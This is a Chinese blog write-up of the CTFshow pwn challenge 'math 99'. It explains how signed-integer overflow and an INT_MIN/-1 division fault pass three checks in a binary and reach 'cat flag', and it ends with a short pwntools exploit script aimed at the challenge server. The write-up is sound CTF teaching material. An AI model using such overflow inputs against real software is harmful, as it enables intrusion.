CTFSHOW|pwn-数学99-wp

最新推荐文章于 2025-06-10 11:41:28 发布

原创最新推荐文章于 2025-06-10 11:41:28 发布 · 1k 阅读

4 ·

CC 4.0 BY-SA版权

文章标签：

#pwn

CTF 专栏收录该内容

37 篇文章

订阅专栏

本文详细介绍了如何使用64位IDA进行程序分析，通过检查保护机制、预览程序和逐个理解main函数内的条件函数，成功找出获取flag的条件。在sub_9C0()中确定了输入a=8, b=4294967295，sub_AEE()中找到48145*89209满足条件，而在sub_BA3()中发现可能的输入组合。最后提供了EXP代码来交互执行这些步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.检查保护机制

2.我们用64位的IDA打开该文件

查找关键字符串看到有“cat flag”

3.我们先预览一遍程序

main函数

我们看到要if语句里面的三个函数条件为真

第一个函数

第二个函数

第三个函数

在第三个函数里面条件为真就可以拿到flag（handler）

4.第一个函数：sub_9C0(）

条件：

因为输入变量s是有符号数的int型：0~2147483647 -2147483648~-1

所以8 -（-1）= 9

我们就可以输入a = 8 b = 4294967295 = -1

5.第二个函数：sub_AEE()

条件：

因为输入的v2,v3是有符号数的int型：0~2147483647 -2147483648~-1

所以我们可以让3 * 3 = 9

4294967305 = 9

4294967305因式分解后为：48145*89209

网址：tools.jb51.net/jisuanqi/factor_calc

6.第三个函数： sub_BA3()

条件：

因为v2,v3是有符号数的int型：0~2147483647 -2147483648~-1

所以： a = 2147483648 b = -1

或： a =-2147483648 b = -1

程序无法执行

7.EXP

#encoding = utf-8
from pwn import * 

context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 0

def main():
	if content == 1:
		p = process('pwn2')
	else:
		p = remote('pwn.challenge.ctf.show',28090)
	
	p.sendlineafter("a:",'8')
	p.sendlineafter("b:",'4294967295')
	
	p.sendlineafter("a:",'48145')
	p.sendlineafter("b:",'89209')
	
	p.sendlineafter("a:",'-2147483648')
	p.sendlineafter("b:",'-1')
	p.interactive()
main()